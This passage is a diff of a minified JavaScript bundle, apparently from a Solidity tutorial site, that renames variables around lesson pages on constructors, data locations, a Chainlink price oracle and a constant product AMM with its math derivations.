                  
         0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
     uint256 public constant MY_UINT = 123;
 }
-
                  `,Ky=({prev:s,next:a})=>r.jsx(A,{version:Ry,title:vy,description:Ny,html:Fy,prev:s,next:a,codes:Hy}),My="0.8.24",Sy="Constructor",xy="Learn how to initialize smart contracts in Solidity using a constructor",Jy=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],zy=`

                  A constructor is an optional function that is executed upon contract creation.

                  +`,Ky=({prev:s,next:a})=>r.jsx(A,{version:Xy,title:vy,description:Ry,html:Hy,prev:s,next:a,codes:Ny}),Fy="0.8.24",My="Constructor",Sy="Learn how to initialize smart contracts in Solidity using a constructor",xy=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Jy=`

                  A constructor is an optional function that is executed upon contract creation.

                  Here are examples of how to pass arguments to constructors.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4126,7 +4126,7 @@ Each slot in the array can store 32 bytes.
                  
 contract E is X, Y {
     constructor() Y("Y was called") X("X was called") {}
 }
-
                  `,Dy=({prev:s,next:a})=>r.jsx(A,{version:My,title:Sy,description:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.24",Qy="Data Locations - Storage, Memory and Calldata",Ty="Data locations - storage, memory and calldata",Uy=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],_y=`

                  Variables are declared as either storage, memory or calldata to explicitly +`,zy=({prev:s,next:a})=>r.jsx(A,{version:Fy,title:My,description:Sy,html:Jy,prev:s,next:a,codes:xy}),Dy="0.8.24",Ey="Data Locations - Storage, Memory and Calldata",Qy="Data locations - storage, memory and calldata",Ty=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],Uy=`

                  Variables are declared as either storage, memory or calldata to explicitly specify the location of the data.

                  • storage - variable is a state variable (store on blockchain)
                    • @@ -4173,7 +4173,7 @@ specify the location of the data.

                    // do something with calldata array } } -`,Ly=({prev:s,next:a})=>r.jsx(A,{version:Ey,title:Qy,description:Ty,html:_y,prev:s,next:a,codes:Uy}),Oy="0.8.24",Py="Chainlink Price Oracle",$y="Chainlink Price Oracle",qy=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],sm=`

                    ETH / USD Price Oracle

                    +`,_y=({prev:s,next:a})=>r.jsx(A,{version:Dy,title:Ey,description:Qy,html:Uy,prev:s,next:a,codes:Ty}),Ly="0.8.24",Oy="Chainlink Price Oracle",Py="Chainlink Price Oracle",$y=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],qy=`

                    ETH / USD Price Oracle

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -4211,7 +4211,7 @@ specify the location of the data.
                    
             uint80 answeredInRound
         );
 }
-
                    `,am=({prev:s,next:a})=>r.jsx(A,{version:Oy,title:Py,description:$y,html:sm,prev:s,next:a,codes:qy}),nm="0.8.24",lm="Constant Product AMM",pm="Constant product AMM",em=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],cm=`

                    Constant product AMM XY = K

                    +`,sm=({prev:s,next:a})=>r.jsx(A,{version:Ly,title:Oy,description:Py,html:qy,prev:s,next:a,codes:$y}),am="0.8.24",nm="Constant Product AMM",lm="Constant product AMM",pm=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
